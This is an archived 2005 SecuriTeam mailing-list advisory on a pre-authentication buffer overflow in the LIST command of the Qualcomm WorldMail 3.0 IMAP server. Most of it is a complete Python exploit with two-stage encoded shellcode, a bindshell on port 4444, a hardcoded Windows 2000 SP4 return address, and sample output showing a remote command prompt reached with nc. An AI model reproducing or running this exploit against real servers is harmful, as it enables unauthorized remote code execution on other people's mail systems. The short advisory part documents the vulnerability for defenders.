

[EXPL] Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00063.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 21 Dec 2005 17:07:53 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit)

SUMMARY

<<http://www.eudora.com/worldmail/>> Qualcomm WorldMail is "an email and messaging server designed for use in small to large enterprises that supports IMAP, POP3, SMTP, and web mail features". A buffer overflow vulnerability in Qualcomm WorldMail's handling of incoming LIST commands allows remote attackers to cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:

* Qualcomm WorldMail version 3.0 (6.1.19.0)

Exploit:

```
#!/usr/bin/python
#####
#
# PRE AUTHENTICATION Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0
Overflow.
#
# Discovered by Tim Shelton – security-advisories@xxxxxxxxxxxx
```

[EXPL] Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit)

```
#
# Coded by mati@xxxxxxxxxxxxxxxxxx
#
# Details:
# * SEH gets overwritten at 970 bytes in the LIST command.
# * No space for shellcode, so 1st stage shellcode is used to
# jump back 768 bytes into the bindshell (2nd stage) shellcode.
#
# Thanks:
# * My wife – for putting up with my obsessions
# FOR EDUCATION PURPOSES ONLY!
#####
# root@muts:/tmp# ./test.py 192.168.1.162
#
# Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 Overflow.
#
# Discovered by Tim Shelton – security–advisories@xxxxxxxxxxxxx
# Coded by mati@xxxxxxxxxxxxxxxxxx
#
# [+] Connecting
# [+] * OK WorldMail IMAP4 Server 6.1.19.0 ready
# [+] Look Maa – No authentication!
# [+] Sending evil buffer...
# [+] Done
#
# [+] Connect to port 4444 on victim IP – Muhahaha!
#
# root@muts:/tmp# nc –vn 192.168.1.162 4444
# (UNKNOWN) [192.168.1.162] 4444 (krb524) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985–2000 Microsoft Corp.
#
# C:\WINNT\system32>
#####

import sys
import struct
import socket
from time import sleep

def banner():
print "\nEudora Qualcomm WorldMail 3.0 IMAPd Service
6.1.19.0Overflow.\n"
print "Discovered by Tim Shelton –
security–advisories@xxxxxxxxxxxxx"
print "Coded by mati@xxxxxxxxxxxxxxxxxx\n"

if len(sys.argv)!=3:
banner()
print "Usage: eudora–imap–LIST.py <ip> <port>\n"
sys.exit(0)
```

[EXPL] Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit)

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
# Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes
```

```
# First Stage Shellcode
```

```
sc3 = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
```

```
sc3 += "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
```

```
sc3 += "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"
```

```
# win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum
```

```
http://metasploit.com */
```

```
# Second Stage Shellcode
```

```
sc4 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xf4\x49\x49\x49\x49\x49"
```

```
sc4 += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
```

```
sc4 += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
```

```
sc4 += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
```

```
sc4 += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
```

```
sc4 += "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38"
```

```
sc4 += "\x4e\x36\x46\x32\x46\x52\x4b\x58\x45\x54\x4e\x53\x4b\x38\x4e\x37"
```

```
sc4 += "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x48"
```

```
sc4 += "\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
```

```
sc4 += "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
```

```
sc4 += "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
```

```
sc4 += "\x46\x4f\x4b\x33\x46\x35\x46\x52\x4a\x32\x45\x37\x45\x4e\x4b\x48"
```

```
sc4 += "\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x50\x4b\x34"
```

```
sc4 += "\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x38"
```

```
sc4 += "\x49\x48\x4e\x36\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x53\x4b\x4d"
```

```
sc4 += "\x46\x56\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x34\x4e\x50\x4b\x58"
```

```
sc4 += "\x42\x37\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x46"
```

```
sc4 += "\x50\x38\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
```

```
sc4 += "\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x53\x4a\x56\x47\x37\x43\x57"
```

```
sc4 += "\x44\x43\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
```

```
sc4 += "\x4e\x4f\x4b\x43\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e"
```

```
sc4 += "\x48\x36\x41\x38\x4d\x4e\x4a\x30\x44\x50\x45\x55\x4c\x36\x44\x30"
```

```
sc4 += "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
```

```
sc4 += "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x45\x43\x45\x43\x45\x43\x44"
```

```
sc4 += "\x43\x45\x43\x44\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x31"
```

```
sc4 += "\x4e\x55\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x49\x4a\x46\x46\x4a"
```

```
sc4 += "\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x31"
```

```
sc4 += "\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
```

```
sc4 += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x45\x45\x35\x4f\x4f\x42\x4d"
```

```
sc4 += "\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d"
```

```
sc4 += "\x42\x35\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
```

```
sc4 += "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x55"
```

```
sc4 += "\x4f\x4f\x42\x4d\x48\x36\x4c\x56\x46\x36\x48\x46\x4a\x36\x43\x56"
```

```
sc4 += "\x4d\x56\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x35\x49\x32\x4e\x4c"
```

```
sc4 += "\x49\x38\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x33\x42\x4c"
```

```
sc4 += "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x34\x4e\x32"
```

```
sc4 += "\x43\x59\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
```

```
sc4 += "\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x44\x4f\x4f"
```

```
sc4 += "\x48\x4d\x4b\x55\x47\x55\x44\x55\x41\x55\x41\x45\x41\x35\x4c\x46"
```

[EXPL] Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit)

```
sc4 += "\x41\x30\x41\x35\x41\x45\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x56"
sc4 += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36"
sc4 += "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
sc4 += "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
sc4 += "\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d"
sc4 += "\x4f\x4f\x42\x4d\x5a"
```

```
# Win2k SP4 JMP EBX - 0x77E1CCF7
```

```
buffer = "\x90"*61 + sc4 + "\xeb\x06\x06\xeb" + "\xf7\xcc\xe1\x77" +
"\x90"*8 + sc3 + '}'*400
banner()
try:
s.connect((sys.argv[1],int(sys.argv[2])))
except:
print "Can't connect to server!\n"
sys.exit(0)
print "[+] Connecting"
data=s.recv(1024)
print "[+] "+data.rstrip()
print "[+] Look Maa - No authentication!"
print "[+] Sending evil buffer..."
s.send('a001 LIST '+buffer+'\r\n')
s.close()
print "[+] Done\n"
print "[+] Connect to port 4444 on victim IP - Muhahaha!\n"
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:mati@xxxxxxxxxxxxxxxxxx>> mati.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- Prev by Date: [*\[NT\] Citrix Program Neighborhood Name Heap Corruption*](#)
- Next by Date: [*\[TOOL\] Hydra – A Parallelized Login Cracker*](#)
- Previous by thread: [*\[NT\] Citrix Program Neighborhood Name Heap Corruption*](#)
- Next by thread: [*\[TOOL\] Hydra – A Parallelized Login Cracker*](#)
- Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)